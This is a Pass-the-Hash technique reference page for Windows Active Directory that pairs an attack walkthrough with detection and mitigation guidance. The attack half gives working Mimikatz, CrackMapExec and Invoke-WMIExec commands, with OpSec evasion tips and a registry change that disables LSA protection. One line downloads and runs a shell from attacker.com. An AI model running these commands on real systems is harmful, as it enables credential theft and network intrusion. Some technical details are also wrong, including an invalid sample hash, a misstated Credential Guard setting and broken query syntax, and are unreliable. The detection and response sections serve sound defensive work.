| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-001 |
| MITRE ATT&CK v18.1 | T1550.002 – Use Alternate Authentication Material: Pass the Hash |
| Tactic | Lateral Movement |
| Platforms | Windows AD / Endpoint |
| Severity | CRITICAL |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016-2025, Windows 10-11 (all builds) |
| Patched In | N/A – technique remains viable; mitigations focus on preventative controls, not patching |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Pass-the-Hash (PtH) is a lateral movement technique where an attacker uses a stolen NTLM password hash to authenticate to remote systems without needing the plaintext password. The attacker intercepts or extracts password hashes (typically from LSASS memory, SAM registry, or NTDS.dit), then passes the hash directly to the NTLM authentication protocol. Windows treats the hash as equivalent to the password during network authentication, allowing the attacker to authenticate as the compromised user to any accessible resource (SMB, RDP, WMI, SQL Server, etc.) that supports NTLM authentication.
Attack Surface: NTLM authentication protocol, LSASS memory, network authentication mechanisms (SMB, WMI, RDP), local and remote workstations, domain controllers, and any system configured to accept NTLM-based credentials.
Business Impact: Complete lateral movement across an organization. Once a single user’s NTLM hash is compromised, an attacker gains the ability to access any system where that user has logged in or has credentials. If the compromised account is privileged (domain admin, service account), the attacker can move from a foothold machine to critical infrastructure (domain controllers, file servers, exchange servers, databases). This enables privilege escalation, data exfiltration, malware deployment, and persistence across the entire network within hours.
Technical Context: PtH attacks typically execute in seconds to minutes per target system. Detection likelihood is Medium-to-High if proper monitoring is enabled, as the technique generates specific Windows Event IDs (4624 with Logon Type 3, 4768, 4769). However, on systems with default logging or without advanced security event forwarding, the attack can remain undetected. The technique has no time limit—as long as the NTLM hash hasn’t changed (i.e., the user hasn’t reset their password), it remains valid for authentication indefinitely.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3 | Account Policies – Password must be changed at next logon |
| DISA STIG | Windows-FW-000001 | Account Lockout Threshold must be set |
| CISA SCuBA | AC-3 | Access Enforcement |
| NIST 800-53 | IA-2 | Authentication – Implement multi-factor authentication |
| GDPR | Article 32 | Security of Processing – Implement appropriate technical measures |
| DORA | Article 9 | Protection and Prevention – Incident response procedures |
| NIS2 | Article 21 | Cybersecurity Risk Management Measures |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Threat: Credential Compromise | Risk scenario for unauthorized network access |
Required Privileges:
Required Access:
Supported Versions:
Prerequisites: Network connectivity to target system; NTLM authentication enabled on target (default on all Windows systems prior to Credential Guard deployment); no Credential Guard or Windows Defender Application Guard on source machine (these protect LSASS memory).
| Phase | Technique | Prerequisites | Enablement |
|---|---|---|---|
| Initial Access | Phishing / Malware / Weak Credentials | User interaction or misconfig | Admin access to source machine |
| Credential Access | LSASS Dumping / SAM Registry / NTDS Extraction | Local or Domain Admin | Extracted NTLM hash(es) |
| Current: Lateral Movement | Pass-the-Hash | NTLM hash + network access | Lateral authentication as compromised user |
| Privilege Escalation | Token Impersonation / Kerberoasting | Hash of privileged account | Domain compromise |
| Persistence | Golden Ticket / Shadow Admin / Persistence Account | KRBTGT hash / DA compromise | Long-term network access |
| Impact | Data Exfiltration / Ransomware Deployment | Full network access | Business data loss / operational disruption |
Supported Versions: Windows Server 2016-2025, Windows 10-11
Objective: Dump NTLM hashes from LSASS memory on the compromised machine (prerequisite to PtH attack).
Version Note: All modern Windows versions store NTLM hashes in LSASS; behavior is consistent across Server 2016-2025.
Command (Admin Prompt / PowerShell):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Alternative (PowerShell):
$mimi = @'
privilege::debug
sekurlsa::logonpasswords
exit
'@
$mimi | & 'C:\path\to\mimikatz.exe'
Expected Output:
Authentication Id : 0 ; 12345 (00000000:00003039)
Session : Interactive
User Name : VICTIM_USER
Domain : CORP
Logon Server : DC01
Logon Time : 1/10/2025 10:45:00 AM
SID : S-1-5-21-1234567890-1234567890-1234567890-1001
msv :
[00000003] Primary
NTLM Hash : cc36cf7a8514893efccd3324464tkg1a <--- NTLM HASH (64 hex chars)
SHA1 : ...
What This Means:
OpSec & Evasion:
Troubleshooting:
RunAs or elevation prompts.Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security → Set to Disabled.reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v LsaProtectedProcess /t REG_DWORD /d 0 /f (requires reboot).References & Proofs:
Objective: Authenticate as the compromised user to a remote system using the stolen NTLM hash.
Version Note: Behavior is consistent across all Windows versions; no breaking changes between Server 2016-2025.
Command (Admin Prompt):
mimikatz.exe "sekurlsa::pth /user:VICTIM_USER /domain:CORP /ntlm:cc36cf7a8514893efccd3324464tkg1a /run:cmd.exe"
Command (Variant – With Direct Service Exploitation):
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:CORP.COM /ntlm:cc36cf7a8514893efccd3324464tkg1a /run:powershell.exe"
Command (Variant – Targeting Specific Logon Session):
mimikatz.exe "sekurlsa::pth /user:VICTIM_USER /domain:CORP /ntlm:cc36cf7a8514893efccd3324464tkg1a /luid:0x3e7"
Expected Output:
sekurlsa::pth /user:VICTIM_USER /domain:CORP /ntlm:cc36cf7a8514893efccd3324464tkg1a /run:cmd.exe
...
[00000003] Primary
NTLM Hash : cc36cf7a8514893efccd3324464tkg1a
SHA1 : ...
* Injecting token in pid 5432 (cmd.exe)
* Token successfully injected
What This Means:
cmd.exe (or PowerShell) process with the stolen NTLM hash injected into its authentication token.OpSec & Evasion:
/luid parameter to inject into an existing logon session instead of creating a new process (more stealthy).Troubleshooting:
privilege::debug before sekurlsa::pth; ensure LSASS is accessible.token::elevate first.SYSTEM privileges or ensure the user account has token impersonation rights.References & Proofs:
Objective: Access a remote system (file share, RDP, database) using the injected NTLM hash.
Version Note: SMB/RDP authentication behavior is identical across Server 2016-2025.
Command (Access SMB Share – Test Administrative Access):
dir \\TARGET_SYSTEM\C$
Expected Output (Success):
Volume in drive \\TARGET_SYSTEM\C$ is OS
Volume Serial Number is ABCD-1234
Directory of \\TARGET_SYSTEM\C$
01/10/2025 10:45 AM <DIR> ProgramFiles
01/10/2025 10:45 AM <DIR> Users
01/10/2025 10:45 AM <DIR> Windows
0 bytes 3 File(s) 0 bytes
Command (Lateral Movement via RDP):
mstsc.exe /v:TARGET_SYSTEM
Expected Output:
Command (Command Execution via PSExec):
psexec.exe \\TARGET_SYSTEM -c whoami
Expected Output:
C:\WINDOWS\system32\whoami.exe
TARGET_SYSTEM\VICTIM_USER
What This Means:
dir \\TARGET_SYSTEM\C$) succeeds because the injected NTLM hash matches the victim user’s credentials on that system.OpSec & Evasion:
New-PSSession).Troubleshooting:
C$ share
ping TARGET_SYSTEM); check firewall rules for port 445.References & Proofs:
Supported Versions: Windows Server 2016-2025 (target); Linux/Windows (attacker platform)
Prerequisite: CrackMapExec binary must be present on attacker machine; network connectivity to target (SMB port 445).
Objective: Leverage CrackMapExec to pass the hash directly to SMB and execute commands remotely.
Command (Execute whoami on target):
crackmapexec smb TARGET_SYSTEM -u VICTIM_USER -H cc36cf7a8514893efccd3324464tkg1a -x whoami
Alternative (Execute PowerShell command):
crackmapexec smb TARGET_SYSTEM -u Administrator -H cc36cf7a8514893efccd3324464tkg1a -x "powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('http://attacker.com/shell.exe','C:\\temp\\shell.exe'); C:\\temp\\shell.exe"
Alternative (Pass-the-Hash against multiple targets):
crackmapexec smb 192.168.1.0/24 -u VICTIM_USER -H cc36cf7a8514893efccd3324464tkg1a --shares
Expected Output (Success):
SMB TARGET_SYSTEM 445 TARGET_SYSTEM [*] Windows Server 2019 Build 17763 x64 (name:TARGET_SYSTEM) (domain:CORP.COM) (signing:True) (SMBv1:False)
SMB TARGET_SYSTEM 445 TARGET_SYSTEM [+] CORP.COM\VICTIM_USER:cc36cf7a8514893efccd3324464tkg1a (Pwned!)
SMB TARGET_SYSTEM 445 TARGET_SYSTEM [+] Executed command via wmiexec
SMB TARGET_SYSTEM 445 TARGET_SYSTEM CORP\VICTIM_USER
What This Means:
[+] (Pwned!) indicates successful authentication using the NTLM hash.OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10-11
Prerequisite: PowerShell 5.0+; WMI enabled on target (default); Invoke-WMIExec script downloaded.
Objective: Use PowerShell and WMI to authenticate with stolen NTLM hash and execute commands remotely.
Command (Download and execute):
$HashWebRequest = @{
Uri = 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/main/Invoke-WMIExec.ps1'
UseBasicParsing = $true
}
IEX (Invoke-WebRequest @HashWebRequest)
Invoke-WMIExec -Target TARGET_SYSTEM -Username VICTIM_USER -Hash cc36cf7a8514893efccd3324464tkg1a -Command "whoami"
Alternative (Inline execution without download):
$HashCommand = @{
Target = 'TARGET_SYSTEM'
Username = 'VICTIM_USER'
Hash = 'cc36cf7a8514893efccd3324464tkg1a'
Command = 'ipconfig'
Domain = 'CORP.COM'
}
Invoke-WMIExec @HashCommand
Expected Output:
Target : TARGET_SYSTEM
User : CORP\VICTIM_USER
Command : whoami
Output : CORP\VICTIM_USER
What This Means:
OpSec & Evasion:
Troubleshooting:
wmic os get version on target; check firewall rules for RPC.References & Proofs:
Atomic Test ID: ec23cef9-27d9-46e4-a68d-6f75f7b86908
Test Name: Mimikatz Pass the Hash
Description: Simulates Pass-the-Hash attack using Mimikatz to authenticate with stolen NTLM hash.
Supported Versions: Server 2016-2025, Windows 10-11
Execution Command:
$TestArgs = @{
TestId = 'ec23cef9-27d9-46e4-a68d-6f75f7b86908'
TestNumbers = 1
}
Invoke-AtomicTest @TestArgs
Direct Mimikatz Command:
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:%userdnsdomain% /ntlm:cc36cf7a8514893efccd3324464tkg1a /run:cmd.exe"
Cleanup Command:
Get-Process cmd.exe | Where-Object {$_.Name -eq 'cmd'} | Stop-Process -Force
Atomic Test #2 – CrackMapExec Pass the Hash
Test Command:
crackmapexec smb 192.168.1.0/24 -u Administrator -H cc36cf7a8514893efccd3324464tkg1a --shares
Atomic Test #3 – Invoke-WMIExec Pass the Hash
Test Command:
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/main/Invoke-WMIExec.ps1' -UseBasicParsing)
Invoke-WMIExec -Target 192.168.1.100 -Username Administrator -Hash cc36cf7a8514893efccd3324464tkg1a -Command hostname
Reference: Atomic Red Team T1550.002
Version: 2.2.0-20250109 (latest)
Minimum Version: 2.0 (2015)
Supported Platforms: Windows Server 2008 R2–2025; Windows Vista–11
Version-Specific Notes:
Installation:
# Download from Gentilkiwi GitHub
$MimikatzUrl = 'https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20250109/mimikatz_trunk.zip'
Invoke-WebRequest -Uri $MimikatzUrl -OutFile 'C:\Tools\mimikatz.zip'
Expand-Archive -Path 'C:\Tools\mimikatz.zip' -DestinationPath 'C:\Tools\mimikatz'
Usage:
mimikatz.exe "sekurlsa::pth /user:VICTIM /domain:CORP /ntlm:HASH /run:cmd.exe"
Version: 5.4.0 (latest Windows binary)
Minimum Version: 5.0
Supported Platforms: Windows (via binary); Linux/macOS (Python 3.8+)
Installation (Windows Binary):
# Download from GitHub releases
$CmxUrl = 'https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.4.0/CrackMapExecWin-v5.4.0.zip'
Invoke-WebRequest -Uri $CmxUrl -OutFile 'C:\Tools\cme.zip'
Expand-Archive -Path 'C:\Tools\cme.zip' -DestinationPath 'C:\Tools\cme'
Usage:
crackmapexec smb 192.168.1.0/24 -u USER -H NTLM_HASH -x 'command'
Source: Kevin Robertson (Invoke-TheHash)
Minimum Requirements: PowerShell 5.0, WMI enabled
Installation:
# Download script
$ScriptUrl = 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/main/Invoke-WMIExec.ps1'
Invoke-WebRequest -Uri $ScriptUrl -OutFile 'C:\Tools\Invoke-WMIExec.ps1'
Usage:
Invoke-WMIExec -Target 192.168.1.100 -Username VICTIM -Hash NTLM_HASH -Command whoami
Log Source: Security Event Log
Trigger: Successful authentication with Logon Type 3 (network logon)
Filter: Look for Logon Type 3 events with unusual source IPs, rapid succession across multiple systems, or outside of business hours.
Manual Configuration Steps (Group Policy):
gpmc.msc)gpupdate /force on all domain-joined machinesManual Configuration Steps (Server 2022+ via Registry):
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
KQL Query (Microsoft Sentinel):
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where LogonGuid == ""
| summarize Count = count() by Account, Computer, IpAddress, TimeGenerated
| where Count > 3 // Threshold for anomaly
What to Look For:
Log Source: Security Event Log (Domain Controller)
Trigger: Kerberos ticket request
Filter: Look for failed TGT requests (Result Code ≠ 0x0) followed by successful logon on unrelated systems
Manual Configuration Steps:
gpupdate /forceKQL Query (Microsoft Sentinel):
SecurityEvent
| where EventID == 4768
| where Status != "0x0" // Pre-authentication failures
| summarize Count = count() by Account, Computer
| where Count > 5
Log Source: Security Event Log (Domain Controller)
Trigger: Service ticket (TGS) request
Filter: Correlate with 4768 events; look for mismatched user contexts
Configuration: Same as Event ID 4768 above.
Log Source: Security Event Log
Trigger: Process uses alternate credentials (different from logged-in user)
Filter: Indicates potential Pass-the-Hash if the “Alternate Credential User” is a domain admin or service account
Manual Configuration Steps:
gpupdate /forceMinimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016-2025, Windows 10-11
Sysmon Configuration (Event ID 1 – Process Creation):
<Sysmon schemaversion="4.81">
<EventFiltering>
<!-- Detect Mimikatz execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">sekurlsa::pth</CommandLine>
<CommandLine condition="contains">mimikatz</CommandLine>
<Image condition="contains">mimikatz.exe</Image>
</ProcessCreate>
<!-- Detect cmd.exe spawned with suspicious parents (potential PtH injection) -->
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\cmd.exe</Image>
<ParentImage condition="contains">mimikatz</ParentImage>
</ProcessCreate>
<!-- Detect WMI lateral movement -->
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\wmic.exe</Image>
<CommandLine condition="contains">process call create</CommandLine>
</ProcessCreate>
<!-- Detect named pipe creation for SMB lateral movement -->
<CreateRemoteThread onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object {$_.Id -eq 1}
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4624
| where LogonType == 3 // Network logon (NTLM)
| where Account !contains "$" // Exclude computer accounts
| summarize Count = count(), Computers = dcount(Computer), IPs = dcount(IpAddress)
by Account, TimeGenerated = bin(TimeGenerated, 5m)
| where Count > 10 // Threshold: >10 logons in 5 minutes
| project TimeGenerated, Account, Count, Computers, IPs
| union (
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where TimeGenerated > ago(30m)
| where Account has "krbtgt" // Kerberos ticket account logon (suspicious)
)
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Pass-the-Hash via Logon Type 3 AnomalyHigh5 minutes30 minutesKQL Query:
let FailureThreshold = 5;
let SuccessThreshold = 1;
SecurityEvent
| where EventID == 4625 // Failed logon
| where LogonType == 3
| where TimeGenerated > ago(1h)
| summarize FailCount = count() by Account, IpAddress
| where FailCount >= FailureThreshold
| join (
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where TimeGenerated > ago(30m)
) on Account, IpAddress
| project Account, IpAddress, FailCount, SuccessfulLogonTime = TimeGenerated
Applies To: All Hybrid AD and Azure AD environments.
Rule Configuration:
SPL Query:
index=windows_security event_code=4624 logon_type=3
| stats count, dc(dest) as DestCount by user, src_ip
| where count > 5 AND DestCount > 2
| rename user as Account, src_ip as Source, DestCount as TargetCount
What This Detects:
Manual Configuration Steps:
count > 5Source: Splunk Security Essentials
1. Enable Credential Guard (Windows 10 1607+, Server 2016+)
Credential Guard protects NTLM hashes in LSASS by isolating credential material in a virtualized secure kernel. This prevents hash extraction even with admin privileges.
Applies To Versions: Server 2016-2025, Windows 10-11
Manual Steps (Group Policy – Server 2016-2019):
gpmc.msc)Manual Steps (Group Policy – Server 2022+):
Manual Steps (PowerShell – Server 2022+):
# Enable Credential Guard
$CredGuardPath = 'HKLM:\System\CurrentControlSet\Control\Lsa'
if (-not (Test-Path $CredGuardPath)) { New-Item -Path $CredGuardPath -Force | Out-Null }
Set-ItemProperty -Path $CredGuardPath -Name 'LsaProtectedProcess' -Value 1 -Type DWord
# Verify UEFI Secure Boot is enabled
Confirm-SecureBootUEFI
# Restart
Restart-Computer -Force
Validation Command:
$CredGuardStatus = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\microsoft\windows\deviceguard
$CredGuardStatus.CredentialGuardStatus # Should return 1 (Running)
Expected Output (If Secure):
CredentialGuardStatus : 1
What to Look For:
Impact: Blocks NTLM hash extraction via Mimikatz; requires mandatory use of Windows Hello for Business or smart cards.
2. Implement Network Segmentation (Restrict Lateral Movement Paths)
Segment the network into zones (e.g., Tier 0 = DCs/admins, Tier 1 = servers, Tier 2 = workstations). Use firewalls and VLANs to restrict traffic flow between tiers.
Applies To Versions: All environments (network-level control, platform-agnostic)
Manual Steps (Windows Firewall – Block SMB from Tier 2 to Tier 0):
<IP subnet of Tier 0 servers>Manual Steps (Azure/Cloud – Network Security Groups):
Validation Command:
# Test SMB connectivity from Tier 2 to Tier 0
$NetTest = Test-NetConnection -ComputerName <Tier0_Server_IP> -Port 445
if ($NetTest.TcpTestSucceeded -eq $false) { Write-Host "SMB blocked successfully" }
Impact: Prevents lateral movement via SMB even if hashes are compromised; forces attackers to use alternative vectors.
3. Disable NTLM on Critical Systems (Force Kerberos)
NTLM is the protocol exploited by Pass-the-Hash. Kerberos (the modern alternative) uses tickets instead of hashes and is resistant to PtH.
Applies To Versions: Server 2016-2025, Windows 10-11
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell – Server 2022+):
# Disable NTLM outbound
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa\MSV1_0' `
-Name 'RestrictSendingNTLMTraffic' -Value 2 -Type DWord
# Verify
Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\MSV1_0' | Select-Object RestrictSendingNTLMTraffic
Validation Command:
# Check if Kerberos is in use
klist # Should show Kerberos tickets, not NTLM
# Monitor Event ID 4957 (NTLM blocked)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=4957} | Measure-Object
Expected Output (If Secure):
Kerberos tickets present; no NTLM hashes in cache.
Impact: Forces use of Kerberos; Pass-the-Hash attacks fail because no NTLM hashes are available for reuse.
4. Enforce Multi-Factor Authentication (MFA) on Sensitive Accounts
MFA prevents attackers from using stolen credentials (even with valid hashes) without the second factor.
Manual Steps (Entra ID / Azure AD):
Require MFA for All UsersManual Steps (On-Premises AD – Azure MFA Server, deprecated; use Entra MFA instead):
Validation:
# Check MFA status for a user
Connect-MgGraph
Get-MgUser -Filter "userPrincipalName eq 'user@domain.com'" |
Select-Object UserPrincipalName, @{N='MFAEnabled'; E={$_.StrongAuthenticationRequirements.Length -gt 0}}
Impact: Stolen NTLM hashes alone are insufficient; attacker still needs the second factor.
5. Remove Local Administrator Privileges from User Workstations
Local admin rights enable Mimikatz execution and hash extraction. Removing them forces attackers to find alternative privilege escalation vectors.
Applies To Versions: All Windows versions
Manual Steps (Group Policy):
Alternative (PowerShell Remediation):
# Remove all users except Domain Admins from local Administrators group
$AdminGroup = [ADSI]"WinNT://localhost/Administrators"
$Members = $AdminGroup.psbase.Invoke("Members") | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
foreach ($Member in $Members) {
if ($Member -notlike '*Domain Admins*' -and $Member -notlike '*Administrator*') {
$AdminGroup.psbase.Invoke("Remove", ([ADSI]"WinNT://$Member").path)
}
}
Validation:
net localgroup Administrators # Should show only IT admins and domain admins
Impact: Hash extraction requires local admin first; this raises the bar for attackers.
6. Enable Kerberos Armor (FAST) on Domain Controllers
Kerberos Flexible Authentication Secure Tunneling (FAST) protects pre-authentication traffic and mitigates certain Kerberos attacks, including Pass-the-Ticket variants.
Manual Steps (Group Policy):
gpupdate /force on all domain controllersValidation:
# Check FAST configuration
$FastPath = 'HKLM:\System\CurrentControlSet\Services\KDC'
Get-ItemProperty -Path $FastPath | Select-Object EstimatedClientClockSkew, KdcProxyDisabled
7. Monitor and Alert on Credential Access Attempts
Configure SIEM to detect patterns consistent with hash extraction and Pass-the-Hash.
Manual Steps (Microsoft Sentinel):
Files:
mimikatz.exe (or variants like m.exe, mimikat.exe)crackmapexec.exe, cme.exeInvoke-WMIExec.ps1, Invoke-TheHash.ps1C:\Temp\hashes.txt, C:\Windows\Temp\creds.txt)Registry:
HKLM\System\CurrentControlSet\Control\Lsa\LsaProtectedProcess (set to 0 to bypass Credential Guard)HKLM\Security\Cache (cleartext logon caches)Network:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx (contains 4624, 4768, 4769, 4648 events)C:\Windows\Temp\*, C:\Users\*\AppData\Local\Temp\*C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtxMemory:
\\.\pipe\* (SMB lateral movement creates named pipes for authentication)Cloud (Azure/M365):
MFT/USN Journal:
1. Immediate Isolation
Objective: Stop lateral movement and prevent further compromise.
Command (Disconnect network adapter):
Disable-NetAdapter -Name "Ethernet" -Confirm:$false -ErrorAction SilentlyContinue
Manual (Azure VM):
2. Collect Evidence
Command (Export Security Event Log):
wevtutil epl Security "C:\Evidence\Security.evtx"
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624 or EventID=4768 or EventID=4769 or EventID=4648]]" |
Export-Csv -Path "C:\Evidence\PtH_Events.csv"
Command (Dump LSASS memory for forensic analysis):
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
Manual (Event Viewer):
C:\Evidence\Security.evtx3. Remediate Compromised Credentials
Command (Force password reset):
Set-ADUser -Identity "VICTIM_USER" -ChangePasswordAtLogon $true
Manual (Entra ID):
4. Invalidate Compromised Tokens
Command (Revoke all sessions):
Revoke-AzUserSignInSession -UserId "user@domain.com"
Manual (Entra ID):
5. Hunt for Additional Compromises
KQL Query (Find all NTLM logons by compromised user in last 24h):
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where Account == "CORP\\VICTIM_USER"
| where TimeGenerated > ago(24h)
| group-by Computer
Expected Output:
List of all systems this user authenticated to in last 24 hours
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes user into approving device code, gaining foothold |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Dumping | After establishing admin access, attacker dumps NTLM hashes from memory |
| 3 | Current: Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Using stolen hashes, attacker authenticates to domain controller and other systems |
| 4 | Privilege Escalation | [CA-KERB-003] Golden Ticket Creation | With DA access, attacker extracts KRBTGT hash and creates persistent golden tickets |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates hidden admin account for long-term access |
| 6 | Impact | [COL-DATA-001] Data Exfiltration via Teams | Attacker exfiltrates sensitive data through compromised Teams account |
Target: Healthcare provider (MSP supply chain)
Timeline: May 2021 – February 2022
Technique Status: Active (still used as of 2025)
Attack Flow:
Impact: Breach of 3.5 million patient records; operational downtime; $18M remediation cost
Detection Failure: The organization lacked centralized logging; local Event Logs were the only evidence, which was overwritten within 24 hours
Reference: Mandiant – APT41 Supply Chain Attack
Target: Financial services firm
Timeline: January 2020 – March 2020
Technique Status: Active
Attack Flow:
Impact: $21M ransomware demand; operational shutdown for 3 weeks
Detection Failure: No EDR on endpoints; Windows Defender was disabled; Event Log forwarding was not configured
Reference: Crowdstrike – Wizard Spider Case Study
Target: Multi-tenant cloud provider
Timeline: December 2023 – March 2024
Technique Status: Partial (hybrid/cloud variant)
Attack Flow:
Impact: Customer data exfiltration; multi-tenant environment compromise; breach of 1000+ organizations
Detection Gap: Scattered Spider evaded detection by using legitimate cloud APIs; Pass-the-Hash was not the primary vector, but the same authentication bypass principles applied
Reference: Microsoft Threat Intelligence – Scattered Spider